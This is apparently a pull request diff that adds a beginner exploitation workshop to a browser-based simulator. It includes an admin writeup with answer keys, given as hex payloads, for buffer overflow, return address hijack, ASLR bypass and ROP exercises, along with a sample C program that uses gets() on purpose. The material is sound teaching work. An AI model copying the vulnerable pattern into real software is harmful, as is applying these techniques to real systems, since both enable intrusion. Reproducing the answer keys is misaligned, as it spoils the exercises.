Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
72 changes: 72 additions & 0 deletions imagine-rit-adminwriteup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
# Imagine RIT — Admin Writeup

Solutions for all 5 exercises in the Imagine RIT workshop.

---

## Exercise 01: The Stack Frame

No input needed. Just click **Step** 4 times to watch the stack frame build up.

---

## Exercise 02: The Overflow

Send more than 20 bytes to overwrite the go-back address with garbage and crash the program.

```
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
```

(24 bytes of 0x41 — fills the 16-byte buffer, overwrites 4-byte bookmark, trashes the go-back address)

---

## Exercise 03: Hijack Execution

Overflow the buffer and overwrite the go-back address with win() at `0x08048150`.

```
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 50 81 04 08
```

Breakdown:
- `41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41` — 16 bytes buffer padding
- `42 42 42 42` — 4 bytes overwrite the bookmark (junk)
- `50 81 04 08` — win() address `0x08048150` in little-endian

---

## Exercise 04: Randomized Addresses

Addresses change every run. Read the leaked main() address from the log, add `0x150` to get win().

Example: if main is leaked as `0x08248000`, then win = `0x08248000 + 0x150 = 0x08248150`.

```
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 [win address in little-endian]
```

Use the hex calculator in the exercise to compute the address, then enter it backwards (least significant byte first).

---

## Exercise 05: Baby's First ROP

One gadget at `0x08048300` that does: `pop eax; pop ebx; mov [ebx], eax; ret`

Goal: write `0xdeadbeef` into `flag_check` at `0x0804a040`, then jump to win() at `0x08048150`.

```
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 00 83 04 08 ef be ad de 40 a0 04 08 50 81 04 08
```

Breakdown:
- `41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41` — 16 bytes buffer padding
- `42 42 42 42` — 4 bytes overwrite the bookmark
- `00 83 04 08` — gadget address `0x08048300` (overwrites go-back address)
- `ef be ad de` — `0xdeadbeef` (gadget pops this into eax)
- `40 a0 04 08` — `0x0804a040` (gadget pops this into ebx)
- `50 81 04 08` — win() address `0x08048150` (gadget's `ret` jumps here after writing eax to [ebx])

The gadget writes 0xdeadbeef to flag_check, then returns into win(), which sees the correct value and prints the flag.
11 changes: 11 additions & 0 deletions src/app/imagine-rit/[id]/page.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
import ExercisePageClient from '@/app/exercise/[id]/ExercisePageClient';

const IMAGINE_RIT_IDS = ['rit-01', 'rit-02', 'rit-03', 'rit-04', 'rit-rop'];

export function generateStaticParams() {
return IMAGINE_RIT_IDS.map((id) => ({ id }));
}

export default function ImagineRitExercisePage({ params }: { params: Promise<{ id: string }> }) {
return <ExercisePageClient params={params} />;
}
25 changes: 25 additions & 0 deletions src/app/imagine-rit/layout.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
'use client';

import { ExerciseContextProvider } from '@/state/ExerciseContext';
import ImagineRitSidebar from '@/components/AppShell/ImagineRitSidebar';
import SuccessBanner from '@/components/shared/SuccessBanner';

export default function ImagineRitLayout({ children }: { children: React.ReactNode }) {
return (
<ExerciseContextProvider>
<div id="app">
<header>
<h1>0xVRIG</h1>
<div id="badges"></div>
</header>
<div id="app-body">
<ImagineRitSidebar />
<main>
{children}
</main>
</div>
<SuccessBanner />
</div>
</ExerciseContextProvider>
);
}
97 changes: 97 additions & 0 deletions src/app/imagine-rit/page.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
'use client';

import { useEffect, useState } from 'react';
import { useRouter } from 'next/navigation';
import { loadProgress } from '@/state/persistence';

const EXERCISES = [
{ id: 'rit-01', title: '01: The Stack Frame', desc: 'Watch how the computer organizes memory — like a stack of sticky notes.' },
{ id: 'rit-02', title: '02: The Overflow', desc: 'Type too much and crash the program. Yes, it\'s that easy.' },
{ id: 'rit-03', title: '03: Hijack Execution', desc: 'Make the program run a secret function it was never supposed to call.' },
{ id: 'rit-04', title: '04: Randomized Addresses', desc: 'The computer scrambles its memory — use a leaked hint to beat it.' },
{ id: 'rit-rop', title: '05: Baby\'s First ROP', desc: 'Bypass the final defense by jumping to code that already exists.' },
];

export default function ImagineRitPage() {
const router = useRouter();
const [completed, setCompleted] = useState<Set<string>>(new Set());
const [mounted, setMounted] = useState(false);

useEffect(() => {
setCompleted(loadProgress());
setMounted(true);
}, []);

if (!mounted) return null;

const doneCount = EXERCISES.filter(ex => completed.has(ex.id)).length;

return (
<div style={{
maxWidth: '620px',
margin: '3rem auto',
padding: '2rem',
fontFamily: 'var(--font)',
color: 'var(--text)',
}}>
<h1 style={{ color: 'var(--green)', fontSize: '22px', fontWeight: 'normal', marginBottom: '0.25rem' }}>
0xVRIG — Imagine RIT
</h1>
<p style={{ color: 'var(--text-dim)', fontSize: '13px', marginBottom: '0.5rem' }}>
Learn how hackers exploit programs — in 5 hands-on exercises
</p>
<p style={{ color: 'var(--text-dim)', fontSize: '11px', marginBottom: '2rem' }}>
No coding experience needed. Each exercise builds on the last.
</p>

<div style={{ fontSize: '12px', marginBottom: '1.5rem', color: 'var(--text-dim)' }}>
Progress: {doneCount}/{EXERCISES.length}{' '}
<span style={{ color: 'var(--green)' }}>
{'█'.repeat(doneCount)}{'░'.repeat(EXERCISES.length - doneCount)}
</span>
</div>

<div style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
{EXERCISES.map((ex, i) => {
const done = completed.has(ex.id);
const isNext = !done && EXERCISES.slice(0, i).every(e => completed.has(e.id));
return (
<div
key={ex.id}
onClick={() => router.push(`/imagine-rit/${ex.id}`)}
style={{
padding: '0.75rem 1rem',
border: `1px solid ${isNext ? 'var(--green)' : 'var(--panel-border)'}`,
cursor: 'pointer',
opacity: done ? 0.6 : 1,
}}
>
<div style={{ fontSize: '13px', marginBottom: '0.25rem' }}>
{done && <span style={{ color: 'var(--green)', marginRight: '0.5rem' }}>✓</span>}
{isNext && <span style={{ color: 'var(--green)', marginRight: '0.5rem' }}>→</span>}
{ex.title}
</div>
<div style={{ fontSize: '11px', color: 'var(--text-dim)' }}>{ex.desc}</div>
</div>
);
})}
</div>

{doneCount === EXERCISES.length && (
<div style={{
marginTop: '2rem',
padding: '1rem',
border: '1px solid var(--green)',
textAlign: 'center',
}}>
<div style={{ color: 'var(--green)', fontSize: '14px', marginBottom: '0.25rem' }}>
Workshop Complete!
</div>
<div style={{ fontSize: '11px', color: 'var(--text-dim)' }}>
You learned how buffer overflows work, hijacked program execution, bypassed ASLR, and built a ROP chain. Nice work!
</div>
</div>
)}
</div>
);
}
56 changes: 56 additions & 0 deletions src/components/AppShell/ImagineRitSidebar.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
'use client';

import { useRouter, usePathname } from 'next/navigation';
import { useExerciseContext } from '@/state/ExerciseContext';

const IMAGINE_RIT_EXERCISES = [
{ id: 'rit-01', title: 'The Stack Frame' },
{ id: 'rit-02', title: 'The Overflow' },
{ id: 'rit-03', title: 'Hijack Execution' },
{ id: 'rit-04', title: 'Randomized Addresses' },
{ id: 'rit-rop', title: "Baby's First ROP" },
];

export default function ImagineRitSidebar() {
const router = useRouter();
const pathname = usePathname();
const { state } = useExerciseContext();

const activeId = pathname?.split('/imagine-rit/')[1] ?? '';

return (
<aside className="sidebar">
<div className="sidebar-content">
<div className="sidebar-track">
<div className="sidebar-track-header" style={{ cursor: 'default' }}>
<span className="sidebar-track-name">Imagine RIT</span>
<span className="sidebar-track-count">
{IMAGINE_RIT_EXERCISES.filter(ex => state.completed.has(ex.id)).length}/{IMAGINE_RIT_EXERCISES.length}
</span>
</div>

{IMAGINE_RIT_EXERCISES.map((ex, i) => {
const isActive = activeId === ex.id;
const isCompleted = state.completed.has(ex.id);

return (
<button
key={ex.id}
className={`sidebar-exercise${isActive ? ' active' : ''}${isCompleted ? ' completed' : ''}`}
onClick={() => router.push(`/imagine-rit/${ex.id}`)}
title={ex.title}
>
<span className="sidebar-exercise-title">
{String(i + 1).padStart(2, '0')}. {ex.title}
</span>
{isCompleted && (
<span className="sidebar-exercise-check">{'✓'}</span>
)}
</button>
);
})}
</div>
</div>
</aside>
);
}
6 changes: 3 additions & 3 deletions src/components/panels/InputPanel/inputs/TextHexInput.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ import { generateExecSteps, execCurrentStep, ExecStep } from '@/engine/execution
export default function TextHexInput() {
const { state, dispatch, stackSim, currentExercise } = useExerciseContext();
const [payload, setPayload] = useState('');
const [mode, setMode] = useState<'text' | 'hex'>(state.inputMode);
const [mode, setMode] = useState<'text' | 'hex'>(currentExercise?.mode === 'input-hex' ? 'hex' : state.inputMode);
const [execSteps, setExecSteps] = useState<ExecStep[] | null>(null);
const [execIndex, setExecIndex] = useState(0);
const [ropState] = useState<{ ropEax?: number; ropEbx?: number; ropFlagValue?: number }>({});
Expand Down Expand Up @@ -151,7 +151,7 @@ export default function TextHexInput() {
return (
<div>
<div style={{ marginBottom: '0.5rem' }}>
{!isTextMode && (
{isTextMode && (
<div style={{ display: 'flex', gap: '0.5rem', marginBottom: '0.5rem' }}>
<label style={{ fontSize: '11px', color: 'var(--text-dim)' }}>
<input type="radio" name="mode" checked={mode === 'hex'} onChange={() => setMode('hex')} /> Hex
Expand All @@ -168,7 +168,7 @@ export default function TextHexInput() {
setExecSteps(null);
setExecIndex(0);
}}
placeholder={isTextMode ? 'Type your input here...' : mode === 'hex' ? 'Enter hex bytes: 41 41 41 41 ...' : 'Type ASCII input...'}
placeholder={isTextMode ? (mode === 'hex' ? 'Enter hex bytes: 41 41 41 41 ...' : 'Type your input here...') : 'Enter hex bytes: 41 41 41 41 ...'}
style={{
width: '100%',
minHeight: '60px',
Expand Down
57 changes: 57 additions & 0 deletions src/exercises/imagine-rit/baby-rop.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
import { Exercise } from '../types';

const babyRop: Exercise = {
id: 'rit-rop',
unitId: 'imagine-rit',
title: "05: Baby's First ROP",
desc: 'Final boss! The program blocks new code, but there\'s a <strong>gadget</strong> — a reusable snippet already in memory. This one loads two values from the stack and writes one into the other. Your chain: <strong>①</strong> 20 bytes padding, <strong>②</strong> gadget address (from the table), <strong>③</strong> the magic value 0xdeadbeef, <strong>④</strong> the target address 0x0804a040, <strong>⑤</strong> win() address. The gadget writes the magic value into flag_check, then you jump to win()!',
source: {
c: [
{ text: '#include <stdio.h>', cls: '' },
{ text: '', cls: '' },
{ text: '// New code is blocked...', cls: 'cmt' },
{ text: '// But this gadget already exists in the program:', cls: 'cmt' },
{ text: '// 0x08048300: load two values, write one to the other\'s address', cls: 'cmt' },
{ text: '', cls: '' },
{ text: 'int flag_check = 0; // at address 0x0804a040', cls: 'highlight' },
{ text: '', cls: '' },
{ text: 'void win() {', cls: '' },
{ text: ' if (flag_check == 0xdeadbeef)', cls: '' },
{ text: ' printf("FLAG{baby_rop}\\n");', cls: 'highlight' },
{ text: '}', cls: '' },
{ text: '', cls: '' },
{ text: 'void vuln() {', cls: '', fn: true },
{ text: ' char buf[16];', cls: '' },
{ text: ' gets(buf);', cls: 'highlight vuln' },
{ text: '}', cls: '' },
{ text: '', cls: '' },
{ text: 'int main() {', cls: '' },
{ text: ' vuln();', cls: '' },
{ text: ' return 0;', cls: '' },
{ text: '}', cls: '' },
],
},
mode: 'input-hex',
vizMode: 'stack',
bufSize: 16,
showSymbols: true,
showBuilder: false,
showGadgetTable: true,
aslr: false,
nx: true,
rop: true,
protections: [{ name: 'NX/DEP', status: 'bypassed' }],
gadgets: {
0x08048300: 'pop eax; pop ebx; mov [ebx], eax; ret',
},
flagAddr: 0x0804a040,
magicValue: 0xdeadbeef,
check(_sim, _heap, _symbols, flags) {
return flags.ropWin === true;
},
winTitle: 'FLAG{baby_rop}',
winMsg: 'You used one gadget to write a value into memory, then jumped to win(). That\'s a real ROP chain — reusing existing code to do what you want! Workshop complete!',
realWorld: 'This "code reuse" technique is behind almost every modern hack — it was used to jailbreak iPhones, hack game consoles, and break into browsers.',
};

export default babyRop;
14 changes: 14 additions & 0 deletions src/exercises/imagine-rit/index.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
import { Exercise } from '../types';
import rit01Stack from './rit-01-stack';
import rit02Overflow from './rit-02-overflow';
import rit03Hijack from './rit-03-hijack';
import rit04Aslr from './rit-04-aslr';
import babyRop from './baby-rop';

export const imagineRitExercises: Exercise[] = [
rit01Stack,
rit02Overflow,
rit03Hijack,
rit04Aslr,
babyRop,
];
Loading
Loading